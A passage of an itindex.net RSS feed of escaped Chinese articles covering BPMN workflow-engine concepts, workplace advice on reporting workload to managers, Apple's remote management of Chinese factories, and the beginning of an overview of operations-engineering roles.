Camunda，都是支持这个规范的，所以呢，无论你使用哪一个流程引擎，都可以使用同一套流程图。&lt;/p&gt; &lt;p&gt;那么这个规范究竟都说了些什么事情呢？&lt;/p&gt; &lt;p&gt;我们以上面生产笔记本的流程图为例，来和小伙伴们做一个简单介绍：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383903" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;从上图中可以看到，一个流程图中主要包含四方面的内容：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;事件&lt;/li&gt;  &lt;li&gt;连线&lt;/li&gt;  &lt;li&gt;任务&lt;/li&gt;  &lt;li&gt;网关&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;我们一个一个来说。&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;事件&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;首先在一个流程图中应该有开始事件和结束事件，也就是上图大家看到的两个圆圈。另外还有一些中间事件、边界事件等。举个中间定时事件的例子，比如用户下单之后，可以有一个中间定时事件，延迟 5 分钟发货。&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;连线&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;连线就是将事件、任务、网关等连在一起的线条，一般情况下就是普通连线，有的时候连线会有一些条件，例如松哥之前文章和大家分享的请假，如果经理同意请假申请，就走哪一个线条，如果经理不同意请假申请，就走哪一个线条。对应上图的笔记本生产，如果经理审批通过，就载入图纸准备生产，如果经理审批不通过，就重新设计。&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;任务&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;任务这块其实有很多分类。&lt;/p&gt; &lt;p&gt;如果细分大致上可以分为如下几种：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;接收任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383904" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;在上面的流程图中，等待准备工作完成这一项就是一个接收任务。这个任务里并不需要额外做什么事情，流程到这一步就自动停下来了，需要人工去点一下，推动流程继续向下执行。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;发送任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383905" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;这个一般用来把消息发送给外部参与者。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;服务任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383906" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;这个一般由系统自动完成，其实说白了就是我们的一个自定义类，可以在一个自定义类里边完成想要做的事情。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;脚本任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383907" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;一个自动化活动。当流程执行到脚本任务时，自动执行相应的脚本。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;业务规则任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383908" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;BPMN2.0 新引入用来对接业务规则引擎，业务规则任务用于同步执行一个或多个规则。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;用户任务&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383909" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;用于为那些需要由人工参与者完成的工作建模。&lt;/p&gt; &lt;p&gt;虽然细分类别很多，但是仔细看，其实这几种又可以归为两大类：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;用户任务：表示人工要介入做的事情。比如同意与否，或者输入一些参数，要让人工完成任务，就需要一个表单系统，让人工输入数据，或者显示数据给人看，这也是为什么用户任务和表单系统结合在一起的原因，用户任务需要用户向引擎提交一个完成任务的动作，否则流程会暂停在这里等待。&lt;/li&gt;  &lt;li&gt;服务任务：表示机器自动做的事情。调用服务的任务，这个服务可以是一个 Spring JavaBean，也可以是一个远程 REST 服务，流程会自动执行服务任务。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;  &lt;strong&gt;活动&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;活动可以算是一种特殊的任务。活动可以调用另外一个流程使之作为当前流程的子流程去运行。活动也可以分为用户活动、脚本活动等等。从显示上来说，活动比任务边框深一些。仅此而已。&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;网关&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;网关要是细分起来，也有很多不同类型的网关。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;互斥网关&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383910" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;这种网关也叫排他性网关，我们之前请假流程中的那个网关，就是互斥网关。这种网关有且仅有一个有效出口。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;相容网关&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383911" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;这种网关会有多个出口，只要条件满足，都会执行。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;事件网关&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383912" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;事件网关是通过中间事件驱动，它在等待的事件发生后才会触发决策。基于事件的网关允许基于事件作出决策。&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;并行网关&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383913" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;并行网关一般是成对出现的，上面生产笔记本的那个流程中，生产屏幕、键盘等并行操作，就是通过并行网关来实现的。&lt;/p&gt; &lt;p&gt;好啦，这就是关于流程引擎的一些基本概念，捋顺了这些基本概念，在回过头看我们前面几篇关于流程引擎的文章，应该会有一些不一样的理解：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;   &lt;a href="https://mp.weixin.qq.com/s/Pd0MEkZu12vdmGGBT9ZV-w" rel="nofollow noreferrer"&gt;Spring Boot 整合流程引擎 Flowable，so easy！&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://mp.weixin.qq.com/s/QEXceZ0KmDKFMcYq-B4Wkg" rel="nofollow noreferrer"&gt;SpringBoot+Vue+Flowable，模拟一个请假审批流程！&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://mp.weixin.qq.com/s/npgP8WyVHDB3PFS-zPcI5w" rel="nofollow noreferrer"&gt;49张图带领小伙伴们体验一把 Flowable-UI&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;   &lt;a href="https://mp.weixin.qq.com/s/OTqIsuvCltIYkSYZCQgk3Q" rel="nofollow noreferrer"&gt;Spring Security + Vue + Flowable 怎么玩？&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>java java-ee spring 工作流</category>
      <guid isPermaLink="true">https://itindex.net/detail/62383-java-%E5%B7%A5%E4%BD%9C%E6%B5%81-%E6%A6%82%E5%BF%B5</guid>
      <pubDate>Fri, 26 Aug 2022 15:36:38 CST</pubDate>
    </item>
    <item>
      <title>怎么让领导知道自己工作量比较大？</title>
      <link>https://itindex.net/detail/62267-%E9%A2%86%E5%AF%BC-%E7%9F%A5%E9%81%93-%E5%B7%A5%E4%BD%9C</link>
      <description>&lt;div&gt;
  &lt;div&gt;

   &lt;div&gt;



&lt;/div&gt;

   &lt;div&gt;




    &lt;div&gt;


     &lt;div&gt;

      &lt;strong&gt;
       &lt;img src="https://pic1.zhimg.com/v2-7295ffb13826d7d961ddf3ae401b7990_l.jpg?source=8673f162"&gt;&lt;/img&gt;
HR猫姐，帆软HRBP|人力资源总监
       &lt;a href="https://www.zhihu.com/question/522500449/answer/2439216284"&gt;查看知乎原文&lt;/a&gt;
&lt;/strong&gt;

      &lt;div&gt;
       &lt;p&gt;        &lt;strong&gt;我直接说方法论吧，是我个人的一些工作经验，可以参考一下。&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;这种情况背后其实反映出了两大问题：&lt;/p&gt;
       &lt;ul&gt;
        &lt;li&gt;         &lt;strong&gt;不懂汇报：&lt;/strong&gt;干了 80 分的活，结果只展示了 30 分甚至更低。&lt;/li&gt;
        &lt;li&gt;         &lt;strong&gt;不懂拒绝：&lt;/strong&gt;被持续安排了很多任务，但领导不知道这情况。&lt;/li&gt;
&lt;/ul&gt;
       &lt;p&gt;        &lt;strong&gt;怎么办呢？先抛结论：学会汇报（向上反馈） + 划分任务优先级。&lt;/strong&gt;&lt;/p&gt;
       &lt;hr&gt;&lt;/hr&gt;
       &lt;p&gt;        &lt;strong&gt;01 学会汇报（向上反馈）&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;你心中有一团熊熊燃烧的火，就不要让路过的人只看到烟，        &lt;strong&gt;雷锋做了好事还写日记呢，你为什么不把自己做的工作记下来，然后广而告之出去？&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;汇报工作要讲技巧&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;具体的技巧可从以下 3 个方面来说：&lt;/p&gt;
       &lt;ul&gt;
        &lt;li&gt;汇报时机的把握&lt;/li&gt;
        &lt;li&gt;汇报内容的选取&lt;/li&gt;
        &lt;li&gt;汇报方法的掌握&lt;/li&gt;
&lt;/ul&gt;
       &lt;p&gt;        &lt;strong&gt;1.汇报时机的把握&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;1%、50%和 100%，&lt;/strong&gt;这三个时机，通常是领导最想听汇报的时候。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;1%法则：&lt;/strong&gt;任务刚开始，这时候汇报是为了确认工作目标和执行措施无误，避免出现        &lt;strong&gt;“工作一开始方向就不对，所有的执行都是白忙活”&lt;/strong&gt;的情况。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;50%法则：&lt;/strong&gt;任务进行到一半，主动去给领导汇报，        &lt;strong&gt;让领导时刻保持心中有数，&lt;/strong&gt;对工作情况处于放心状态。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;100%法则：&lt;/strong&gt;任务完成，工作汇报必不可少。即使是很小一件事情，都应该        &lt;strong&gt;件件有回应、事事有着落。&lt;/strong&gt;&lt;/p&gt;
       &lt;blockquote&gt;        &lt;strong&gt;特殊情况的汇报：如若进展不顺利，需要及时进行反馈汇报。而不是拖着问题不解决，将问题搁置化，耽误工作进度。&lt;/strong&gt;&lt;/blockquote&gt;
       &lt;p&gt;        &lt;strong&gt;2.汇报内容的选取&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;汇报工作不等于汇报“过程”，&lt;/strong&gt;你不需要把所有的事情全都说一遍，证明你很忙，挑重要的讲：&lt;/p&gt;
       &lt;ul&gt;
        &lt;li&gt;工作进度&lt;/li&gt;
        &lt;li&gt;工作需求&lt;/li&gt;
        &lt;li&gt;工作中遇到的瓶颈&lt;/li&gt;
        &lt;li&gt;对于目前工作产生的新的建议想法&lt;/li&gt;
        &lt;li&gt;工作业绩&lt;/li&gt;
&lt;/ul&gt;
       &lt;p&gt;        &lt;strong&gt;工作进度：&lt;/strong&gt;关于 xx 工作，目前我们的工作进度是____，已完成____，还未完成____，计划在____（日期）之前完成，您看可以吗？&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;工作需求：&lt;/strong&gt;关于 xx 工作，目前我需要____，您看能不能帮我协调？&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;工作中遇到的瓶颈：&lt;/strong&gt;关于 xx 工作，目前出现了一些意外情况，这个情况是____，我能想到的解决方案有____，您看怎么解决？&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;对于目前工作产生的新的建议想法：&lt;/strong&gt;我对____方面，有了一些想法，产生这个想法的原因是____，我的想法是____，能够起到的作用是____，您看怎么样？&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;工作业绩：&lt;/strong&gt;这个月的业绩目标是____，完成了____，离目标还有____，没有完成是因为____，这个问题以后将____这样解决。您看行不行？&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;3.汇报方法的掌握&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;职场人害怕跟领导汇报工作，大部分是心里没有足够的底气，准备工作没有做踏实。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;采用一些可视化工具梳理汇报内容是一个很好的方法，前人都给你总结好了，直接拿来用就行：&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;1）可视化梳理，用“鱼骨图法”做汇报准备&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;日本管理大师石川馨先生曾发明“鱼骨图”，主要用于工作中可以快速地解决问题。        &lt;strong&gt;这个方法同样适应于工作汇报的准备阶段。&lt;/strong&gt;&lt;/p&gt;
       &lt;img alt="" src="https://pic1.zhimg.com/v2-c8f328304a96daa3da32627742768ffa_720w.jpg?source=8673f162"&gt;&lt;/img&gt;
       &lt;p&gt;汇报之前，先拿出一张白纸，竖着画一条直线，        &lt;strong&gt;在直线的上端，也就是鱼头位置写上项目名称&lt;/strong&gt;；        &lt;strong&gt;在直线的下端，即鱼尾的位置写上工作结论，学会尽可能用一句话去概括结论。&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;中间用抽丝剥茧的方式去做分析，区分清楚已完成与未完成的部分，是顺利推进还是遇到阻力，        &lt;strong&gt;反复斟酌，紧抓重点，这样下来整个工作汇报的脉络就会非常清晰。&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;2）SMART 管理，用“事件 + 数据 + 对比”汇报结果&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;在做完汇报准备后，重心就落在如何表述上，建议参照        &lt;strong&gt;目标管理中的 SMART 原则&lt;/strong&gt;去做汇报表述。&lt;/p&gt;
       &lt;img alt="" src="https://pic3.zhimg.com/v2-d4c847f34991ec0e0b8bdc80fb0fa3d5_720w.jpg?source=8673f162"&gt;&lt;/img&gt;
       &lt;p&gt;        &lt;strong&gt;对于已完成的工作，则采用“事件 + 数据 + 对比”的方式汇报，会更具成效。&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;“数据”：&lt;/strong&gt;是指将工作结果以数据的形式量化，制成可视化的数据图表。&lt;/p&gt;
       &lt;img alt="" src="https://pica.zhimg.com/v2-921924c99863cf7920b15241836bd539_720w.gif?source=8673f162"&gt;&lt;/img&gt;
       &lt;p&gt;        &lt;strong&gt;也不用担心这种图表难做，直接套用模板，简单的拖拉拽，几分钟就可以完成一个丰富的数据图表。         &lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;“对比”：&lt;/strong&gt;汇报出彩的地方。当工作完成较好时，可以通过对比把工作成绩凸显出来，&lt;/p&gt;
       &lt;blockquote&gt;注意：对比时需要谨记，通常只做自我的同比和环比，或与公司的竞争对手去比，不要跟部门同事对比，一是容易招来同事猜疑和反感，二是容易让领导觉得你好胜心过强。&lt;/blockquote&gt;
       &lt;p&gt;        &lt;strong&gt;3）换位思考去共情，突出可行性解决方案&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;在工作汇报中，最大的难点是工作开展遇阻或无法按期完成时，        &lt;strong&gt;直白汇报有被痛批的可能，故意不报又有隐瞒的嫌疑，拿捏好汇报的尺度就显得尤为重要。&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;采用“描述 + 原因 + 解决方案”的汇报方式，是相对比较讨巧的。&lt;/strong&gt;&lt;/p&gt;
       &lt;ul&gt;
        &lt;li&gt;首先要学会客观地去描述存在的问题，直击主要矛盾&lt;/li&gt;
        &lt;li&gt;进而剖析客观原因而非找借口&lt;/li&gt;
        &lt;li&gt;最后尝试拿出解决问题的方案，至少是两个以上备选方案，哪怕其中有些方案会稍微逊色些&lt;/li&gt;
&lt;/ul&gt;
       &lt;p&gt;需要给领导做选择题而非问答题，即便是最后方案并没有得到采用，也证明我们是想积极地解决问题，而不是推卸责任。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;02 划分任务优先级&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;在划分任务优先级之前，还有一步需要做：        &lt;strong&gt;评估对现有任务的影响面&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;例如，领导给你布置一项新任务（在你既有任务之外的新增任务），可以这样回复：&lt;/p&gt;
       &lt;p&gt;好的，领导，如果要做这个事情的话，我手头上的 A、B 两个方案设计任务都需要延期 4 天，而这两个都会导致某某项目进度整体延后 5 天，您看这怎么安排合适？&lt;/p&gt;
       &lt;p&gt;当领导听到新承接任务，会对原有任务产生影响时，大概率会重新评估这次任务的时间和人选。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;1.学会判断任务优先级&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;职场中每天手头的工作都很多。其中既有正在进行中的，也有被领导和同事临时甩过来的。因此需要按照        &lt;strong&gt;重要程度&lt;/strong&gt;和        &lt;strong&gt;紧急程度&lt;/strong&gt;区分好每天要做的事情：&lt;/p&gt;
       &lt;ul&gt;
        &lt;li&gt;重要性【重要 vs.不重要 】&lt;/li&gt;
        &lt;li&gt;紧迫性【紧急 vs.不紧急】&lt;/li&gt;
&lt;/ul&gt;
       &lt;p&gt;根据这两个维度把事情划分出 4 个象限，再将待办事项相应放入这 4 个象限中。        &lt;strong&gt;其中紧急而重要的事情一定是最有优先级、需要马上处理的！&lt;/strong&gt;&lt;/p&gt;
       &lt;img alt="" src="https://pic2.zhimg.com/v2-1050513a1c266b48039a6ba922ae829f_720w.jpg?source=8673f162"&gt;&lt;/img&gt;
       &lt;p&gt;⚠️        &lt;strong&gt;一个真实的提示：&lt;/strong&gt;&lt;/p&gt;
       &lt;blockquote&gt;给自己排布任务的时候，千万别把自己想成机器，随时都能平稳高效地工作。        &lt;br /&gt;人会有情绪、会疲劳、会有各种意外的状况发生，因此一定要给自己安排好休闲和放松的时间。        &lt;br /&gt;&lt;/blockquote&gt;
       &lt;p&gt;        &lt;strong&gt;2.做日／周工作计划并经常回顾&lt;/strong&gt;&lt;/p&gt;
       &lt;p&gt;将事情划分好重要程度后，制定个日／周工作计划，或者是正在进行的项目计划。&lt;/p&gt;
       &lt;p&gt;针对每一项工作或项目任务：详细标注开始和截止时间、交付物是什么、需要对接的有哪些部门和同事、有什么样的 KPI 等等……&lt;/p&gt;
       &lt;p&gt;这样方便定期回顾任务的状态，是        &lt;strong&gt;待开始、进行中、延误还是取消&lt;/strong&gt;。有利于自己针对不同情况采取下一步措施。&lt;/p&gt;
       &lt;p&gt;        &lt;strong&gt;做任务 / 项目管理最好的工具就是甘特图，可以用 Excel 做，也可以用现成的模板，按照自己习惯来即可：&lt;/strong&gt;&lt;/p&gt;
       &lt;img alt="" src="https://pica.zhimg.com/v2-c55dba680cd263787fa12fda9b6a1920_720w.jpg?source=8673f162"&gt;&lt;/img&gt;
       &lt;p&gt;        &lt;strong&gt;注意：&lt;/strong&gt;&lt;/p&gt;
       &lt;blockquote&gt;        &lt;strong&gt;制定工作计划的目的就是为了执行而不是为了做“面子工程”，制定计划后一定要落实。&lt;/strong&gt;&lt;/blockquote&gt;
       &lt;p&gt;当领导看到这份周报时，其实就能了解到，你做了哪些任务。&lt;/p&gt;
       &lt;p&gt;并且，他也可以通过周报，了解你的工作量情况，如果发现任务偏多时，后续再分配任务，也会有意识地和你沟通你手头的任务情况。&lt;/p&gt;
       &lt;p&gt;以上，希望对你有所帮助，也可以将各位的经验分享在评论区，大家一起学习！&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


     &lt;div&gt;      &lt;a href="https://www.zhihu.com/question/522500449"&gt;查看知乎讨论&lt;/a&gt;&lt;/div&gt;

&lt;/div&gt;


&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62267-%E9%A2%86%E5%AF%BC-%E7%9F%A5%E9%81%93-%E5%B7%A5%E4%BD%9C</guid>
      <pubDate>Tue, 24 May 2022 08:00:00 CST</pubDate>
    </item>
    <item>
      <title>苹果通过远程管理中国组装厂的工作</title>
      <link>https://itindex.net/detail/62252-%E8%8B%B9%E6%9E%9C-%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86-%E4%B8%AD%E5%9B%BD</link>
      <description>苹果曾经平均每天预订 50 个往返旧金山和上海浦东机场的商务舱座位。但在 2020 年初新冠疫情暴发后，苹果叫停了派遣大批工程师的行动。那一年新 iPhone 机型的推出比往年晚了一两个月。为了应对这一情况，苹果采用了远程管理制造流程的技术。2020 年苹果美国工程团队通过视频电话指导亚洲工厂的中国同事组装 iPhone 原型机。在中国的工程师最初一切都按美国工程师的指挥行事，但渐渐地，驻华工程师被赋予了更大权力， &lt;a href="https://cn.wsj.com/articles/%E6%96%B0%E5%86%A0%E5%B0%86%E7%BE%8E%E5%9B%BD%E5%91%98%E5%B7%A5%E6%8C%A1%E5%9C%A8%E4%B8%AD%E5%9B%BD%E4%B9%8B%E5%A4%96-%E8%8B%B9%E6%9E%9C%E5%85%AC%E5%8F%B8%E9%9D%A0%E4%B8%AD%E5%9B%BD%E5%B7%A5%E7%A8%8B%E5%B8%88%E7%BB%B4%E6%8C%81%E4%BA%A7%E5%93%81%E7%94%9F%E4%BA%A7-11652139909" target="_blank"&gt;可以自行解决问题&lt;/a&gt;。&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62252-%E8%8B%B9%E6%9E%9C-%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86-%E4%B8%AD%E5%9B%BD</guid>
      <pubDate>Wed, 11 May 2022 20:56:08 CST</pubDate>
    </item>
    <item>
      <title>运维工作分类和职业方向</title>
      <link>https://itindex.net/detail/62094-%E8%BF%90%E7%BB%B4-%E5%B7%A5%E4%BD%9C-%E5%88%86%E7%B1%BB</link>
      <description>&lt;p&gt;一、前言&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;  &lt;br /&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;互联网运维工作，以服务为中心，以稳定、安全、高效为三个基本点，确保公司的互联网业务能够7×24小时为用户提供高质量的服务。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;运维人员对公司互联网业务所依赖的基础设施、基础服务、线上业务进行稳定性加强，进行日常巡检发现服务可能存在的隐患，对整体架构进行优化以屏蔽常见的运行故障，多数据中接入提高业务的容灾能力，通过监控、日志分析等技术手段，及时发现和响应服务故障，减少服务中断的时间，使公司的互联网业务符合预期的可用性要求，持续稳定地为用户提供务。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;在安全方面，运维人员需要关注业务运行所涉及的各个层面，确保用户能够安全、完整地访问在线业务。从网络边界划分、ACL管理、流量分析、DDoS防御，到操作系统、开源软件的漏洞扫描和修补，再到应用服务的XSS、SQL注入防护；从安全流程梳、代码白盒黑盒扫描、权限审计，到入侵行为检测、业务风险控制等。运维人员需要保障公司提供的互联网业 运行在安全、可控的状态下，确保公司业务数据和用户隐私数据的安全，同时还需要具备抵御各种恶意攻击的能力。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;在确保业务稳定、安全的前提下，还需保障业务高效的运转，公司内快速的产出。运维工作需要对业务进行各方面优化，比如，IO优化提升数据库性能，图片压缩降低带宽使用量等，提供的互联网业务以较小的资源投入带来最大的用户价值和体验。同时，还需要通过各种工具平台提升内部产品发布交付的效率，提升公司内运维相关的工作效率。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;二、运维工作分类&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;运维的工作方向比较多，随着业务规模的不断发展，越成熟的互联网公司，运维岗位会划分得越细。当前很多大型的互联网公司，在初创时期只有系统运维，随着规模、服务质量的要求，也逐渐进行了工作细分。一般情况下运维团队的工作分类（见图1-1）和职责如下。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://dbaplus.cn/uploadfile/2022/0207/20220207114423471.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图1-1 运维团队的工作分类&lt;/p&gt; &lt;p&gt; &lt;/p&gt; 1、系统运维 &lt;p&gt; &lt;/p&gt; &lt;p&gt;系统运维负责IDC、网络、CDN和基础服务的建设（LVS、NTP、DNS）；负责资产管理，服务器选型、交付和维修。详细的工作职责如下：&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;1）IDC数据中心建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;收集业务需求，预估未来数据中心的发展规模，从骨干网的分布、数据中心建筑，以及Internet接入、网络攻击防御能力、扩容能力、空间预留、外接专线能力、现场服务支撑能力等方面评估选型数据中心。负责数据中心的建设、现场维护工作。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2）网络建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;设计及规划生产网络架构，这里面包括：数据中心网络架构、传输网架构、CDN网络架构等，以及网络调优等日常运维工作。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;3）LVS负载均衡和SNAT建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;LVS是整个站点架构中的流量入口，根据网络规模和业务需求，构建负载均衡集群；完成网络与业务服务器的衔接，提供高性能、高可用的负载调度能力，以及统一的网络层防攻击能力；SNAT集中提供数据中心的公网访问服务，通过集群化部署，保证出网服务的高性能与高可用。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;4）CDN规划和建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;CDN工作划分为第三方和自建两部分。建立第三方CDN的选型和调度控制；根据业务发展趋势，规划CDN新节点建设布局；完善CDN业务及监控，保障CDN系统稳定、高效运行；分析业务加速频道的文件特性和数量，制定最优的加速策略和资源匹配；负责用户劫持等CDN日常故障排查工作。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;5）服务器选型、交付和维护&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;负责服务器的测试选型，包含服务器整机、部件的基础性测试和业务测试，降低整机功率，提升机架部署密度等。结合对公司业务的了解，推广新硬件、新方案减少业务的服务器投入规模。负责服务器硬件故障的诊断定位，服务器硬件监控、健康检查工具的开发和维护。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;6）OS、内核选型和OS相关维护工作&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;负责整体平台的OS选型、定制和内核优化，以及Patch的更新和内部版本发布；建立基础的YUM包管理和分发中心，提供常用包版本库；跟进日常各类OS相关故障；针对不同的业务类型，提供定向的优化支持。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;7）资产管理&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;记录和管理运维相关的基础物理信息，包括数据中心、网络、机柜、服务器、ACL、IP等各种资源信息，制定有效的流程，确保信息的准确性；开放API接口，为自动化运维提供数据支持。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;8）基础服务建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;业务对DNS、NTP、SYSLOG等基础服务的依赖非常高，需要设计高可用架构避免单点，提供稳定的基础服务。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; 2、应用运维 &lt;p&gt; &lt;/p&gt; &lt;p&gt;应用运维负责线上服务的变更、服务状态监控、服务容灾和数据备份等工作，对服务进行例行排查、故障应急处理等工作。详细的工作职责如下所述。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;1）设计评审&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;在产品研发阶段，参与产品设计评审，从运维的角度提出评审意见，使服务满足运维准入的高可用要求。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2）服务管理&lt;/p&gt; &lt;p&gt; &lt;/p&gt; 